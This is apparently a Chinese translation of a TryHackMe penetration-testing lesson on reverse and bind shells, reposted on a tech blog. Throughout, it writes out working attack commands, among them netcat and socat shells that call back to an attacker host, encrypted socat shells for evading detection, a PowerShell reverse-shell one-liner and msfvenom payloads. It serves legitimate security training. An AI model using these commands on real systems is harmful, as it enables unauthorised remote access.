主頁 >  其他 > Privilege Escalation 權限提升

Privilege Escalation 權限提升

2023-04-08 08:00:16 其他

第 1 章 前言

這是 tryhackme 滲透測驗章節的最后一個房間,原本想谷歌機翻然后我手工看一下,但是感覺這樣練習不了英文,所以全部手工翻譯,實在翻不出來再交給谷歌,手工翻譯不免存在勘誤,建議英文好的讀者朋友們直接去閱覽原文,

第 2 章 shell

權限提升,簡稱提權,在講提權之前,先說說常見的 shell 以及它們的加固,

2.1 shell 是什么?

在我們深入了解發送和接收 shell 的復雜性之前,理解 shell 是什么很重要,

簡單來說,shell 就是我們與命令列環境 (CLI) 互動時使用的工具,例如,Linux 中常見的 bash 或 sh 程式都是 shell 的示例,Windows 中的 cmd.exe 和 Powershell 也是如此,

有時我們可在目標機上進行 RCE,在這種情況下我們希望利用此漏洞來獲取在目標機的 shell,

簡單來說,我們可以強制遠程機器向我們發送對其的命令列訪問(reverse shell),或是我們主動連接到該機器上并獲得該機器的 shell,

reverse shell 就是反向/反彈 shell 的意思bind shell 就是正向 shell

2.2 工具篇

我們將使用多種工具來接收 reverse shell 和發送 bind shell,

通常我們需要惡意的 shell code 以及和生成的 shell 互動的方法,我們可通過以下幾個工具實作這一點:

1. Netcat:

Netcat 號稱網路的 “瑞士軍刀” ,它用于執行各種網路互動,包括在列舉期間抓取 banner 等,

然而對于我們來說更重要的是它可以用于接收反彈 shell 或者連接到目標機上的 bind shell 的遠程埠,

注:默認情況下,Netcat shell 非常不穩定(容易丟失),所以后文會介紹改進的技術,

2. Socat:

Socat 就像 steroids(英文原意是類固醇) 上的 netcat,它可以做所有相同的事情,甚至更多, Socat shell 通常比 netcat shell 更穩定,從這個意義上說它遠遠優于 netcat,然而 socat 相比于 netcat 有以下兩個問題:

  1. Socat 語法比 Netcat 難

  2. Socat 普及性不如 Netcat,默認情況下,幾乎每個 Linux 發行版都安裝了 Netcat,但它們默認情況下很少安裝 Socat,

這兩個問題都有解決方法,我們將在后面介紹,

Socat 和 Netcat 都有用于 Windows 的 .exe 版本,

3. Metasploit -- multi/handler:

注意,以下有效載荷、有效負載等指的是 payload 的意思,

Metasploit 框架的 auxiliary/multi/handler 模塊與 socat 和 netcat 一樣,提供了用于接收反彈 shell 的功能,由于是 Metasploit 框架的一部分,所以 multi/handler 提供了一種成熟的方式來獲取穩定的 shell,并提供了多種進一步的選項來改進捕獲到的 shell,它也是與 meterpreter shell 互動的唯一方式,也是處理 staged payload (分階段 payload?)的最簡單方式,

4. Msfvenom:

與 multi/handler 一樣,msfvenom 在技術上是 Metasploit 框架的一部分,但是,它作為獨立工具提供, Msfvenom 用于動態生成 payload ,雖然 msfvenom 可以生成除 reverse 和 bind shell 之外的 payload,但這不是本文的重點,

Msfvenom 是一個非常強大的工具,因此我們將在專門的任務中更詳細地介紹它,

除了我們已經介紹過的工具之外,還有許多不同語言的一些 shell 存盤庫,其中最突出的一個是 Payloads all the Things, 此外,PentestMonkey Reverse Shell Cheatsheet 也很常用,

除了這些在線資源,Kali Linux 還預裝了位于 /usr/share/webshells 的各種 webshell, SecLists repo 雖然主要用于單詞串列,但也包含一些用于獲取 shell 的非常有用的代碼,

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS) ?

2.3 Shell 的型別

我們主要對兩種 shell 感興趣:Reverse shell 和 bind shell,

  • Reverse shell(反彈/向 shell) 是指目標被迫連接到您的計算機,在您自己的計算機上,您可以使用上一個任務中提到的工具之一來設定用于接收連接的偵聽器,

反向 shell 是繞過防火墻規則的好方法,因為防火墻規則可能會阻止您連接到目標上的任意埠,

反向 shell 的缺點是當通過 Internet 從一臺機器接收 shell 時,您需要配置自己的網路以便接受它,(最經典的例子就是使用阿里的云服務器接收反彈的 shell 時要修改安全組規則)

  • bind shell(正向 shell) 是指在目標上執行代碼時,我們直接讓其打開一個附加到 shell 上的監聽器(即埠),埠將會向互聯網開放,這意味著您可以連接到代碼打開的埠并以這種方式獲得 RCE 的能力,這具有不需要在您自己的網路上進行任何配置的優點,但可能會被保護目標的防火墻阻止,

一般情況下,反向 shell 更容易執行和除錯,以下會給出反彈 shell 和 正向 shell 的示例,請注意它們間的區別,

Reverse Shell 的例子:

讓我們從更常見的反向 shell 開始,以下圖為例,在左側我們有一個反向 shell 偵聽器——這是接收連接的地方,右側是發送反向 shell 的模擬(實際上,這更有可能通過遠程網站上的代碼注入或類似的方式來完成)把左邊的圖片想象成你自己的電腦,把右邊的圖片想象成目標,

在攻擊機器上:sudo nc -lvnp 443

在目標機器上:nc <攻擊機的ip> <攻擊機的埠> -e /bin/bash

image-20230407145552538

請注意,在運行右側的命令后,偵聽器會收到一個連接,當運行 whoami 命令時,我們看到我們正在以目標用戶的身份執行命令,這里重要的是我們正在攻擊機上監聽,并收到了來自目標的連接,

nc 的 -e 選項表示在連接成功后要執行的程式,這里表示連接成功之后把自己的 bash 發送到另一端

bind shell 的例子:

bind shell 不太常見,但仍然非常有用, 以下圖為例,在左側同樣是攻擊者的計算機,而右側依然是我們的模擬目標,但是為了稍微調整一下,這次我們將使用 Windows 目標,首先,我們在目標上啟動一個偵聽器——這次我們告訴它連接完畢后執行 cmd.exe,然后,在偵聽器啟動并運行的情況下,我們從自己的機器連接到新打開的埠,

在目標機上:nc -lvnp <port> -e "cmd.exe" 在攻擊機上:nc <目標機ip> <port>

image-20230407145701579

如您所見,這再次讓我們在目標機上執行代碼,請注意,這并非特定于 Windows, 這里要理解的重要一點是目標在監聽特定埠,然后我們主動連接到目標的這個埠,

與此任務相關的最后一個概念是互動性,shell 可以是互動式的,也可以是非互動式的,

  • 互動式:如果您使用過 Powershell、Bash、Zsh、sh 或任何其他標準 CLI 環境,那么您將習慣于互動式 shell,互動式的 shell 允許您在執行程式后與程式進行互動,例如,采用 SSH 登錄的提示:

image-20230407145711042

在這里您可以看到它以互動方式詢問用戶鍵入 yes 或 no 以繼續連接,這是一個互動式程式,需要互動式 shell 才能運行,

  • 非互動式 shell 不會給你那種 “奢侈” ,在非互動式 shell 中,您只能使用不需要用戶互動即可正常運行的程式,不幸的是,大多數簡單的反向 shell 和正向 shell 都是非互動式的,這會使進一步的利用變得更加棘手,讓我們看看當我們嘗試在非互動式 shell 中運行 SSH 時會發生什么:

image-20230407145717876

請注意,whoami 命令(非互動式)執行地很好,但 ssh 命令(互動式)根本沒有給我們任何輸出,

注:互動式命令的輸出確實會出現在某個地方,但是,弄清楚在哪里是您自己嘗試的練習,可以說互動式程式在非互動式 shell 中不起作用, 此外, 上圖的 listener 命令是用于演示的攻擊機獨有的別名,是 sudo rlwrap nc -lvnp 443 命令的簡寫方式,將在后續任務中介紹,除非已在本地配置別名,否則它將無法在任何其他計算機上運行,

回答下列問題:

  1. 哪種型別的 shell 會回連到您計算機上的偵聽埠,反向 (R) 或系結 (B)?

  2. 您已將惡意 shell 代碼注入網站,您收到的 shell 可能是互動式的嗎? (是或否)

  3. 使用 bind shell 時,您會在攻擊者 (A) 還是目標 (T) 上執行偵聽器?

2.4 Netcat

如前所述,Netcat 是滲透測驗人員工具包中最基本的工具之一,涉及任何型別的網路,有了它,我們可以做各種各樣有趣的事情,但現在讓我們關注和 netcat 相關的 shell,

++Reverse Shells++

在前面的任務中,我們看到反彈 shell 需要 shellcode 和一個偵聽器,執行 shell 的方法有很多種,因此我們將從查看偵聽器開始,

使用 Linux 啟動 netcat 偵聽器的語法如下:

nc -lvnp <埠號>

  • -l 用于告訴 netcat 這將是一個監聽器

  • -v 用于請求詳細輸出

  • -n 告訴 netcat 不決議主機名及DNS,在此不過多闡述,

  • -p 表示要監聽的埠,

上一個任務中的示例使用 443 埠,實際上,您可以使用任何您喜歡的埠,只要還沒有服務使用它即可,

請注意,如果您選擇使用小于 1024 的埠,則在啟動偵聽器時需要加上 sudo

使用眾所周知的埠號(80、443 或 53 是不錯的選擇)通常是個好主意,因為這更有可能通過目標上的出站防火墻規則, 比如以下命令在 443 埠上打開一個偵聽器:

sudo nc -lvnp 443

然后,我們可以使用任意數量的 payload 連接到以上偵聽器,具體取決于目標上的環境,

++Bind Shells++

如果我們希望在目標上獲得 bind shell,那么我們可以假設已經有一個偵聽器在目標的特定埠上等待我們,我們需要做的就是連接到它,其語法相對簡單:

nc <目標IP> <目標上的特定埠>

在這里,我們使用 netcat 在我們選擇的埠上建立到目標的出站連接,

2.5 加固 Netcat shell

在得到一個 Netcat shell 之后,我們首先應該做什么?

答案是加固我們得到的 shell!

默認情況下,這些 shell 非常不穩定,例如按 Ctrl + C 會斷開 shell,

此外它們還是非互動式的,并且經常有奇怪的格式錯誤,這是因為 netcat shell 實際上是在終端內運行的行程,而不是真正的終端本身,

幸運的是,有很多方法可以穩定 Linux 系統上的 netcat shell,下文我們將介紹三個加固 netcat shell 的方法,

注:Windows 反彈 shell 的加固往往很困難,好在我們下文介紹的第二種技術對此特別有用,

技術 1:Python

我們要討論的第一種技術僅適用于 Linux 機器,因為它們幾乎總是默認安裝 Python,該技術有三個操作步驟:

  1. 首先要做的是在目標機的 shell 上(無論是反向的還是正向的)執行如下命令

python -c 'import pty;pty.spawn("/bin/bash")

它使用 Python 生成功能更好的 bash shell,請注意,某些目標可能需要指定 Python 版本,如果是這種情況,請根據需要將 “python” 替換為 “python2” 或 “python3”,

命令執行完畢后我們的 shell 看起來會更漂亮一些,但我們仍然無法使用 tab 鍵進行自動補齊,并且 Ctrl + C 仍會終止 shell,

  1. 第二步是在目標機的 shell 上執行 export TERM=xterm 命令,這將使我們能夠訪問諸如 clear 之類的術語命令,

  2. 最后也是最重要的一步,使用 Ctrl + Z 掛起目標的 shell 回到我們的終端并輸入以下命令:

stty raw -echo;fg 

以上命令做了兩件事情:

  1. 它關閉了我們的終端回顯(這允許我們可以使用 tab 自動補齊以及在 shell 內部輸入 Ctrl + C 終止行程),

  2. 回到目標機的 shell 上從而完成整個加固 shell 的程序,

下圖是一個完整的示例:

image-20230407145801453

注意到如果 shell 斷開了,那么你的終端上的任意輸入都將不可見(因為之前我們禁用了終端回顯),不過我們可以輸入 reset 命令修復這一點,

技術 2:rlwrap

rlwrap 是一個程式,簡單來說,它能讓我們在收到 shell 后就立即擁有訪問歷史記錄、tab 鍵自動補齊等功能,但是,如果您希望能夠在 shell 中使用 Ctrl + C,則還需進行一些操作,

Kali 默認沒有安裝 rlwrap,所以首先使用 sudo apt install rlwrap 安裝它,

使用 rlwrap 開啟一個偵聽器的語法很簡單,僅需要在 nc 命令的前面加上 rlwrap 即可,

rlwrap nc -lvnp <監聽的埠>

在我們的 netcat 偵聽器前面加上 “rlwrap” 可以為我們提供一個功能更齊全的 shell,

這種技術在處理 Windows shell 時特別有用,(眾所周知 Windows shell 很不穩定),在處理 Linux 目標時,可以使用上述講到的技術來加固 shell:

  1. 使用 Ctrl + Z 掛起 shell

  2. 使用如下命令加固 shell 并重新進入,

stty raw -echo;fg

技術 3:Socat

第三種穩定 shell 的方法是以 Netcat shell 為基礎,得到一個更加穩定的 Socat shell,

請記住,此技術僅限于 Linux 目標,因為 Windows 上的 Socat shell 不會比 netcat shell 更穩定,

為了實作這種穩定方法,我們首先需要將一個 靜態的 socat 編譯的二進制檔案(一個編譯為沒有依賴關系的程式版本)傳輸到目標機器,

如何上傳檔案到目標機器?

一般的方法是在存放 socat 二進制檔案的目錄下開啟一個 web 服務器(在攻擊機器上),然后讓目標機訪問該 web 服務器并下載 socat 檔案即可,

如果安裝了 python,可以使用以下命令開啟一個 web 服務器:

sudo python3 -m http.server 80

若是 python2 的話,則應輸入以下命令:

sudo python -m SimpleHTTPServer

然后就可以在目標機器的 netcat shell 上下載檔案了,

如果 Linux 系統,可以使用 curl 或 wget (wget <LOCAL-IP>/socat -O /tmp/socat) 來下載檔案,

如果是 Windows 系統,可以使用 Powershell 完成相同的操作,比如使用 Invoke-WebRequest 或 webrequest 系統類,具體取決于安裝的 Powershell 版本(Invoke-WebRequest -uri <LOCAL-IP>/socat .exe -outfile C:\\Windows\temp\socat.exe),

更改終端 tty 大小

使用上述任何技術來改變你的終端 tty 大小是一件很有用的事情,這是您的終端在使用常規 shell 時會自動執行的操作,然而,如果您想使用類似文本編輯器的東西來覆寫螢屏上的所有內容,則必須在反向或正向 shell 中手動更改終端 tty 大小,

首先,在攻擊機上打開終端運行 stty -a 命令,并記下輸出中 rows 和 columns 的值:

image-20230407145812164

接下來,在您的 reverse / bind shell 中,鍵入: stty raws <number1> 和 stty cols <number2> 命令number1、number2 填寫您在自己的終端中運行命令獲得的數字(上圖分別是 45 和 118), 這將改變終端的注冊寬度和高度,從而使得文本編輯器等依賴此類資訊準確的程式正確打開,

回答以下問題:

  1. 您將如何將終端大小更改為 238 列?

  2. 在埠 80 上設定 Python3 網路服務器的語法是什么?

2.6 Socat

Socat 在某些方面與 netcat 相似,但在許多其他方面有根本的不同,考慮 socat 的最簡單方法是將其作為兩點之間的連接器,在這個房間內,這基本上是一個監聽埠和鍵盤,但是,它也可以是一個監聽埠和一個檔案,或者實際上是兩個監聽埠, socat 所做的只是提供兩點之間的鏈接——很像 Portal 游戲中的 portal gun!

我們再次以反向 shell 為例:

1. 反向 shell

如前所述,socat 的語法比 netcat 的語法難得多,

下面是 socat 中開啟反向 shell 偵聽器的語法:

socat TCP-L:<埠> -

與 netcat 一樣,這需要兩個點(監聽的埠和標準輸入)并將它們連接在一起,

生成的 shell 是不穩定的,但這將適用于 Linux 或 Windows,并且等效于 nc -lvnp <port>

在 Windows 上,我們將使用以下命令連接上述偵聽器:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes 

“pipes” 選項用于強制 powershell(或 cmd.exe)使用 Unix 風格的標準輸入和輸出, Linux 目標的等效命令如下:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

Bind Shells

在 Linux 目標上,我們將使用以下命令:

socat TCP-L:<PORT> EXEC:"bash -li"

在 Windows 目標上,我們將為我們的偵聽器使用此命令:

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

我們使用 “pipes” 引數來連接 Unix 和 Windows 在 CLI 環境中處理輸入和輸出的方式, 無論目標是什么,我們都在我們的攻擊機器上使用這個命令來連接到等待的監聽器,

socat TCP:<TARGET-IP>:<TARGET-PORT> -

現在讓我們來看看 Socat 的一個更強大的用途:一個完全穩定的 Linux tty 反向 shell,這僅在目標為 Linux 時有效,但要穩定得多,如前所述,socat 是一個非常通用的工具;然而,以下技術可能是其最有用的應用之一,這是新的偵聽器語法:

socat TCP-L:<port> FILE:`tty`,raw,echo=0 

讓我們把這條命令分解成兩部分,像往常一樣,我們將兩點連接在一起,在這種情況下,這些點是一個監聽埠和一個檔案,具體來說,我們將當前 TTY 作為檔案傳遞,并將 echo 設定為零,這大約相當于使用 netcat shell 時使用的 Ctrl + Z, stty raw -echo;fg 技巧

第一個偵聽器可以連接到任何有效負載;但是,這個特殊的偵聽器必須使用非常具體的 socat 命令來激活,這意味著目標必須安裝 socat,然而大多數機器默認情況下沒有安裝 socat,但我們可以上傳預編譯的 socat 二進制檔案到目標上,然后就可以正常執行,特殊命令如下:

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

以上命令稍顯復雜,所以讓我們分解一下, 第一個部分很簡單——我們要連接到我們自己機器上運行的偵聽器,命令的第二部分使用 EXEC:"bash -li" 創建一個互動式 bash 會話,我們還傳遞引數:pty、stderr、sigint、setsid 和 sane:

  • pty 在目標上分配一個偽終端——穩定程序的一部分

  • stderr 確保任何錯誤訊息都顯示在 shell 中(通常是非互動式 shell 的問題)

  • sigint 將任何 Ctrl + C 命令傳遞到子行程中,允許我們在 shell 中終止命令

  • setsid 在新會話中創建行程

  • sane 穩定終端,試圖 “正常化” 它,

要接受的內容很多,所以讓我們看看它的實際應用,

與往常一樣,在左側我們有一個在本地攻擊機器上運行的偵聽器,在右側我們有一個受感染目標的模擬,使用非互動式 shell 運行,

image-20230407145823643

使用非互動式 netcat shell,我們執行特殊的 socat 命令,并在左側的 socat 偵聽器上接收到一個完全互動式的 bash shell:

請注意,socat shell 是完全互動式的,允許我們使用互動式命令,例如 SSH,然后可以通過設定 stty 值來進一步改進,如上一個任務中所示,這將讓我們使用 Vim 或 Nano 等文本編輯器, 如果在任何時候 socat shell 無法正常作業,那么通過在命令中添加 -d -d 來增加詳細程度是非常值得的,這對于實驗目的非常有用,但對于一般用途通常不是必需的,

回答以下問題:

  1. 我們如何讓 socat 監聽 TCP 埠 8080?

2.7 加密的 Socat Shells

socat 的眾多優點之一是它能夠創建加密的 shell —— 反向和正向 shell 都可加密,我們為什么要這樣做?除非您擁有解密密鑰,否則無法監視加密的 shell,因此通常能夠繞過 IDS,

我們在上一個任務中介紹了如何創建基本的 shell,因此這里不再介紹語法,一句話足以說明如何使用加密shell:將原命令中的 TCP 部分換成 OPENSSL 即可,我們將在任務結束時介紹幾個示例,但首先讓我們談談證書,

我們首先需要生成證書才能使用加密的 shell,這在我們的攻擊機器上最容易做到:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt 

此命令創建一個 2048 位 RSA 密鑰和匹配的證書檔案,自簽名,有效期不到一年,當您運行此命令時,它會要求您填寫有關證書的資訊,這可以留空,或隨機填充, 然后我們需要將兩個創建的檔案合并到一個 .pem 檔案中:

cat shell.key shell.crt > shell.pem

現在,當我們設定我們的反向 shell 偵聽器時,我們使用:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 

這將使用我們生成的證書設定一個 OPENSSL 偵聽器, verify=0 告訴連接不要費心嘗試驗證我們的證書是否已由公認的權威機構正確簽名,請注意,必須在正在偵聽的任何設備上使用該證書,

要回傳連接,我們將使用:

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

相同的技術適用于 bind shell: 目標:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes 

攻擊者:

socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0
  • 再次注意,即使對于 Windows 目標,證書也必須與偵聽器一起使用,因此需要為 bind shell 復制 PEM 檔案, 下圖顯示了來自 Linux 目標的 OPENSSL 反向 shell,和往常一樣,目標在右邊,攻擊者在左邊:

image-20230407145831884

這種技術也適用于上一個任務中介紹的特殊的、僅限 Linux 的 TTY shell —— 弄清楚它的語法將是這個任務的挑戰,如果您正在努力獲得答案,請隨意使用 Linux 練習盒(可部署在房間的盡頭)進行實驗,

回答以下問題:

  1. 使用上一個任務中的 tty 技術設定 OPENSSL-LISTENER 的語法是什么?使用埠 53 和一個名為“encrypt.pem”的 PEM 檔案

socat OPENSSL-LISTEN:<53>,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0 
  1. 如果您的 IP 是 10.10.10.5,您將使用什么語法連接回此偵聽器?

socat OPENSSL:10.10.10.5:53 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

2.8 常用的 Shell Payloads

有效負載表示 payload 的意思

我們很快就會考慮使用 msfvenom 生成有效負載,但在此之前,讓我們使用我們已經介紹過的工具看一下一些常見的有效負載,

之前的任務提到我們將研究使用 netcat 作為 bind shell 偵聽器的一些方法,因此我們將從它開始,在某些版本的 netcat 中(包括 Kali 位于 /usr/share/windows-resources/binaries 處的 nc.exe Windows 版本,以及 Kali 自身所用的版本:netcat-traditional)有一個 -e 選項,它允許您在連接上執行一個程式,例如一個監聽器:nc -lvnp <埠> -e /bin/bash

使用 netcat 連接到上述偵聽器將在目標上生成一個 bind shell, 同樣,對于反向 shell,使用 nc <LOCAL-IP> <PORT> -e /bin/bash 回連將導致目標上的反向 shell,

然而,這并沒有包含在大多數版本的 netcat 中,因為它被廣泛認為是非常不安全的(這很有趣,是吧?),在幾乎總是需要靜態二進制檔案的 Windows 上,此技術將非常有效,然而,在 Linux 上,我們將改為用此代碼創建一個 bind shell 偵聽器:

mkfifo /tmp/f; nc -lvnp <埠> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm/tmp/f 
?

以下段落是對該命令的技術解釋,它略高于這個房間的高度,所以如果你現在看不懂也沒關系——命令本身才是最重要的, 該命令首先在 /tmp/f 中創建命名管道,然后它啟動一個 netcat 偵聽器,并將偵聽器的輸入連接到命名管道的輸出, netcat 偵聽器的輸出(即我們發送的命令)然后直接通過管道傳輸到 sh,將 stderr 輸出流發送到 stdout,并將 stdout 本身發送到命名管道的輸入,從而完成回圈,

image-20230407145857514

可以使用一個非常相似的命令來發送 netcat 反向 shell:

mkfifo /tmp/f; nc <本地IP> <埠> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm/tmp/f 

除了使用 netcat connect 語法而不是 netcat listen 語法之外,此命令實際上與前一個命令相同, image-20230407145904730

以現代 Windows Server 為目標時,通常需要 Powershell 反向 shell,因此我們將在此處介紹標準的單行 PSH 反向 shell, 這個命令比較復雜,這里為了簡單起見就不直接說明了,然而,它是一種非常有用的單行線,可以隨身攜帶:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = https://www.cnblogs.com/hetianlab/archive/2023/04/07/(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback +'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

為了使用它,我們需要用適當的 IP 和埠選擇替換“<IP>”和“<port>”,然后可以將其復制到 cmd.exe shell(或在 Windows 服務器上執行命令的另一種方法,例如 webshell)并執行,從而產生反向 shell:

image-20230407145915316 

  對于其他常見的反向 shell payload,PayloadsAllTheThings 是一個存盤庫,其中包含多種不同語言的 shell 代碼(通常是用于復制和粘貼的單行格式),閱讀鏈接頁面以查看可用內容非常值得, 回答以下問題:

  1. 在 Linux 中可以使用什么命令來創建命名管道?

  2. 查看鏈接的 Payloads all Things Reverse Shell Cheatsheet 并熟悉可用的語言,

2.9 msfvenom

Msfvenom:所有和 payload 相關事物的一站式商店

作為 Metasploit 框架的一部分,msfvenom 主要用于生成反向 shell 和正向 shell,同時 msfvenom 也廣泛用于低水平的 exploit 開發,比如在開發一些用于緩沖區溢位的 expolit 時生成十六進制 shellcode, 然而,msfvenom 也可以用于 生成多種格式的 payloads,比如 .exe、.apsx、.war、.py 等,

以下簡單地介紹一下 msfvenom:

msfvenom 的標準語法如下:msfvenom -p <PAYLOAD> <OPTIONS>

例如,為了生成一個 exe 格式的 Windows x64 反向 shell,我們可以使用:msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

image-20230407145924945

上述命令的四個選項含義如下:

  • -f <格式>指定輸出格式,在案例中是 exe

  • -o <檔案> 生成的 payload 的路徑和檔案名

  • LHOST=<IP>指定要回連的 IP

  • LPORT=<port>要回連的本地機器的埠,可以是 0 到 65535 間的未使用的任意值,然而,使用小于 1024 的埠時要 root 權限

++Staged vs Stageless++

現在介紹兩個新概念, staged 反向 shell payloads 和 stageless 反向 shell payloads,

  • Staged(分期的) paylodas 分為兩部分發送,第一部分稱為 stager,這是直接在服務器上執行的代碼塊,其會回連到一個處于等待狀態的監聽器,但它本身實際上不包含任意的反向 shell code,那 shell code在哪里呢?當 stager 連接到監聽器時,其會使用連接來加載真正的 payload 并直接執行它,同時會預防 payload 接觸硬碟,因為傳統的反病毒解決方案可能會捕捉到硬碟里的 payload, 所以 payload 被分為兩個部分:一個小的、初始的 stager 以及 stager 被激活時下載的更龐大的反向 shell, Staged paylodas 要求一個特別的監聽器,通常是 Metasploit multi/handler,

  • Stageless payloads 更加常見,Stageless payloads 是完全自包含的,Stagsless payloads 存在一個代碼塊,當我們執行它時,其會馬上發回一個 shell 給等待中的監聽器,

Stagsless payloads通常更易于使用和捕獲,然而,它們也更加龐大并且更容易被反病毒或入侵檢測程式發現和移除,Staged paylodas 更難以使用,但是 初始的 stager 更加短小,所以有時不會被低效的反病毒軟體察覺,現代防病毒解決方案還將利用反惡意軟體掃描介面 (AMSI) 來檢測由 stager 加載到記憶體中的 payloads,從而使分階段的 payloads 在該區域的效率不如以前,

++Meterpreter++在 Metasploit 主題中要談論的另一個重要的事物就是 Meterpreter shell,Meterpreter shell 是 Metasploit 特有的全功能 shell,Meterpreter shell 完全穩定,這在滲透 windows 目標時非常有用,此外,Meterpreter shell 有許多內置的功能,比如檔案上傳和下載,如果我們想要使用 Metasploit post-exploitation 模塊下的任意工具,那么我們就需要使用一個 meterpreter shell,meterpreter shell 的缺點是它們必須被 Metasploit 捕獲, ++Payload Naming Conventions++ 當使用 msfvenom時,理解命名系統是如何作業的十分重要,msfvenom 的基本命名約定如下:<作業系統><體系結構>/<payload> 舉個例子:

linux/86/shell/reverse_tcp

以上命令會生成一個用于 linux x86 目標的 stageless 反向 shell,但是以上命名約定對于 Windows32 作業系統的目標不太適用,對于這類目標,通常不指定體系結構,比如:

windows/shell_reverse_tcp

對于 64 位元的 Windows 目標,通常指定體系結構為 x64, 以上的例子中所用的 payload 是 shell_reverse_tcp,這表明其是一個 stageless payload,為什么呢?因為 Stageless payloads 用 下劃線表示,這個 payload 的 staged 版本是 shell/reverse_tcp,因為 staged payloads 用斜線來表示,

一個 32 位的 linux stageless Meterpreter payload 如下所示:

linux/x86/meterpreter_reverse_tcp

當我們在使用 msfvenom 時,要注意到的另一件重要的事情是:

msfvenom --list payloads

該命令可用于列出所有可用 payloads,我們可在該命令后拼接上管道符以及 grep 命令來查找特定 payloads 集合,舉個例子:

image-20230407145935854

以上命令會給出 32 位 linux 目標的 neterpreter paylodas 的完整集合, 回答以下問題:

  1. 生成一個用于 64 位 Windows 目標的 staged 反向 shell(.exe 格式)

  2. 哪個符號被用來表明一個 shell 是 stageless 的?

  3. 使用什么命令生成一個用于 64 位的 Linux 目標的 staged meterpreter 反向 shell?假定你的 ip 是 10.10.10.5,監聽的埠是 443,shell 的格式是 elf,輸出的檔案名是 shell

msfvenom -p linux/x64/meterpreter/reverse_tcp -LHOST=10.10.10.5 -LPORT=443 -f elf -o shell  

更多靶場實驗練習、網安學習資料,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/549436.html

標籤:其他

上一篇:Markdown語法

下一篇:翻越相機標定的奧林匹斯

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

